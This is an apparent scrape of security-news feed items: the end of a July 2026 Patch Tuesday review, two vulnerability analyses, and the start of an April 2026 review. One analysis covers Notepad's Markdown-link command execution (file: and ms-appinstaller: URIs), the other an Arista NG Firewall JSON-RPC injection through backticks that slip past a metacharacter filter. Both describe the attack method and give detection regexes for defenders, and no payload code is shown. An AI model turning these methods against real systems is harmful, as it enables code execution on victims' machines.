  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gornia...]]></description>
<link>https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by</em> <em>Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.</em></p>





















  
  




  



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<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p><b data-preserve-html-node="true">The Vulnerability</b></p>
<p>Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.</p>
<p><a href="https://spec.commonmark.org/0.31.2/">Markdown</a> is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:</p>
<p>          <code>[link-name](link/path)</code></p>
<p>When rendered, only the link text ("link-name") is shown to the user.</p>
<p>The inline links use the following format:</p>
<p>          <code>&lt;link/path&gt;</code></p>
<p>When rendered, they are transformed into the equivalent standard link:</p>
<p>          <code>[link/path](link/path)</code></p>
<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.</p>
<p>When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling <code>sub_1400ED5D0()</code>. Markdown files are rendered token by token.</p>
<p>Function <code>sub_140170F60()</code> handles clicking on links in Markdown files. It filters the link value, and passes it to <code>ShellExecuteExW()</code> call.</p>
<p>The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. <code>ShellExecuteExW()</code> uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p>Notes<br>•	Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.<br>•	Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the <code>ShellExecuteExW()</code> call.</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.</p>
<p>In <code>sub_140170F60()</code>:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:<br>•	FTP, over ports 21/TCP, 20/TCP<br>•	HTTP, over port 80/TCP<br>•	HTTPS, over port 443/TCP<br>•	IMAP, over port 143/TCP<br>•	NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP<br>•	POP3, over port 110/TCP<br>•	SMTP, over ports 25/TCP, 587/TCP<br>•	SMB/CIFS, over ports 139/TCP, 445/TCP  </p>
<p>The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.</p>
<p>The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".</p>
<p>If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}</code></p>
<p>If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}</code></p>




  <p class="">If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on <a href="https://github.com/BTtea/CVE-2026-20841-PoC">GitHub</a>.</p><p class="">Notes</p><p class="">•  The string matches are case-insensitive.<br>•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.<br>•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20841">patched</a> by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.</p><p class="">Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the Tre...]]></description>
<link>https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by</em> <em>Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.</p><p class="">A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user. </p><p class=""><strong>The Vulnerability</strong></p><p class="">Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.</p><p class="">HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">A corresponding HTTP request using the POST method might look like:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If there is more than one parameter/value pair, they are encoded as '&amp;'-delimited name=value pairs:</p>
<p>          <code>var1=value1&amp;var2=value2&amp;var3=value3...</code></p>
<p>The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:</p>




  <p class="">•            An object is enclosed in curly braces {}.<br>•            An object consists of zero or more items delimited by a comma (",") character.<br>•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.<br>•            A key must be a string (enclosed in quotes).<br>•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.<br>•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.</p><p class="">An example JSON object is as follows:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>The following is an example of a JSON-RPC request to the <code>runTroubleshooting()</code> method that is relevant to this report:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The <code>runTroubleshooting()</code> method of the class <code>NetworkManagerImpl</code> will be used to handle JSON-RPC requests to the <code>runTroubleshooting</code> method. The command parameter passed to the method will be the first element in the <code>params</code> JSON array in the body of the request. This value must be one of the strings in the <code>TroubleshootingCommands enum</code> defined in the <code>NetworkManager</code> class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.</p>
<p>The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in <code>TroubleshootingCommands</code>. Each command value will be processed using the same code. </p>
<p>The method will next iterate through each environment variable, and inspect it for the following common command injection strings:</p>
<p>          <code>; &amp; | &gt; $(</code></p>
<p>If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method <code>execEvil()</code> is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The <code>execEvil()</code> method in turn will call <code>Runtime.getRuntime().exec()</code> to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as <code>run_dns()</code> for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by <code>exec()</code> and then calling eval to execute it.</p>
<p>However, the values of the parameters passed to the <code>runTroubleshooting</code> JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.</p>
<p>For example:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.</p>
<p>A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the <code>runTroubleshooting</code> method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the <code>runTroubleshooting()</code> check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.</p>
<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:<br>          -	HTTP, over port 80/TCP<br>          -	HTTPS, over port 443/TCP</p>
<p>Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance. </p>
<p>The detection device must search for HTTP POST requests made to the request-URI <code>/admin/JSON-RPC</code>. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a <code>method</code> key, and its value must be inspected to contain the substring <code>runTroubleshooting</code>. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.</p>
<p>The following regular expression can be applied to find malicious requests:</p>
<p>          <code>/\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/</code></p>
<p>Notes:</p>
<p>•	String matching on the request-URI and all JSON strings should be done in a case sensitive manner.<br>•	The JSON strings may be encoded and must be decoded prior to applying this guidance.<br>•	The request-URI may be URL-encoded and must be decoded before applying this guidance.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability has been addressed by Arista with their <a href="https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123">Security Advisory 0123</a>. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:</p><p class=""><em>Do not allow non-authorized administrative access or access to the administrative browser.</em></p><p class="">However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.</p><p class="">Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI  Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
